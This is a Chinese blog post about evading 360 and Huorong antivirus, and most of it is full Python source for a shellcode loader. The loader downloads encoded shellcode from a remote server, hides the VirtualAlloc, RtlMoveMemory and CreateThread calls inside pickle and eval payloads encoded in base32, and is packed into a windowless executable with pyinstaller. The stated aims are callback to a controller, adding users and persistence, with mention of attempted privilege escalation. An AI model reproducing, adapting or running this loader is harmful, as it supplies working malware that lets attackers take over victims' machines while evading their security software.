前言

最近一直在研究免杀,慢慢的发现上线不难,过360,火绒不难,难得是添加用户,任何涉及到系统的操作,都会被360拦截下来。

正文

刚开始研究免杀时,是通过溢出来操作的,但是这样子有个坏处,就是地址不好处理,每个系统的地址都不同,如果使用静态变量来存放shellcode,就会被杀毒软件检查出来,后面尝试过万能地址啊,PE添加新字段等等都无济于事,最后只能从加载器下手了,即使查杀效果确实不错。


在网上搜索看了一看各种语言的加载器,最后选择了Python的。

Python免杀

生成加载器的源码是网上复制的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import ctypes,cPickle,base64,urllib2

class test1(object):
def __reduce__(self):
return(eval,("urllib2.urlopen('http://192.168.227.128').read().decode('base64')",))

class test2(object):
def __init__(self, shellcode):
self.shellcode = shellcode
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.VirtualAlloc(0,len(shellcode),0x1000,0x40)",))

class test3(object):
def __init__(self, rwxpage, shellcode):
self.rwxpage = rwxpage
self.shellcode = shellcode
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.RtlMoveMemory(rwxpage,ctypes.create_string_buffer(shellcode),len(shellcode))",))

class test4(object):
def __init__(self, rwxpage):
self.rwxpage = rwxpage
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.CreateThread(0,0,rwxpage,0,0,0)",))

class test5(object):
def __init__(self, handle):
self.handle = handle
def __reduce__(self):
return(eval,("ctypes.windll.kernel32.WaitForSingleObject(handle,-1)",))

if __name__ == '__main__':

raw_shellcode = test1()
ser_shellcode = cPickle.dumps(raw_shellcode)
enb32_shellcode = base64.b32encode(ser_shellcode)
shellcode = cPickle.loads(base64.b32decode(enb32_shellcode))


raw_vir = test2(shellcode)
ser_vir = cPickle.dumps(raw_vir)
enb32_vir = base64.b32encode(ser_vir)
rwxpage = cPickle.loads(base64.b32decode(enb32_vir))


raw_rtl = test3(rwxpage, shellcode)
ser_rtl = cPickle.dumps(raw_rtl)
enb32_rtl = base64.b32encode(ser_rtl)


raw_handle=test4(rwxpage)
ser_handle = cPickle.dumps(raw_handle)
enb32_handle = base64.b32encode(ser_handle)
handle = cPickle.loads(base64.b32decode(enb32_handle))


raw_run = test5(handle)
ser_run = cPickle.dumps(raw_run)
enb32_run = base64.b32encode(ser_run)


output = '''import ctypes,cPickle,base64,urllib2

e_shellcode = "{}"
shellcode = cPickle.loads(base64.b32decode(e_shellcode))

e_rwxpage="{}"
rwxpage = cPickle.loads(base64.b32decode(e_rwxpage))

e_code = "{}"
cPickle.loads(base64.b32decode(e_code))

e_handle = "{}"
handle = cPickle.loads(base64.b32decode(e_handle))

e_run = "{}"
cPickle.loads(base64.b32decode(e_run))'''.format(enb32_shellcode, enb32_vir, enb32_rtl, enb32_handle, enb32_run)

with open('Loader.py','w') as f:
f.write(output)
f.close()

这里有几点需要注意的

1.是通过urlopen读取的地址,就是从服务器获取的文本

1
2
3
class test1(object):
def __reduce__(self): #我是通过:本机ip/shellcode.txt 获取加密后的shellcode
return(eval,("urllib2.urlopen('服务器ip').read().decode('base64')",))

2.可能是shellcode差异或者base64加密方式的不同,如果用base64的方法来解密shellcode的话,程序会报错,如果没有报错,也运行不了,或者运行了没反应。

1
2
3
class test1(object):
def __reduce__(self): #我是通过:本机ip/shellcode.txt 获取hex加密后的shellcode
return(eval,("urllib2.urlopen('服务器ip').read().decode('hex')",))

所以我这里的shellcode是用hex加密过的,使用K8飞刀的工具直接加密的

运行会生成一个Loader.py,然后使用pyinstaller将其打包为exe文件

1
pyinstaller --noconsole --onefile Loader.py

用加载器生成的exe虽然能上线,但是杀毒效果明显没那么好

当要添加用户时,也是会照常拦截


结尾

无论是写入自启动还是添加用户,都会被拦截,想过可能是360是system权限,而文件只是普通用户,就被拦截。尝试过提权,提升到system权限,但是发现很困难,还得在研究研究。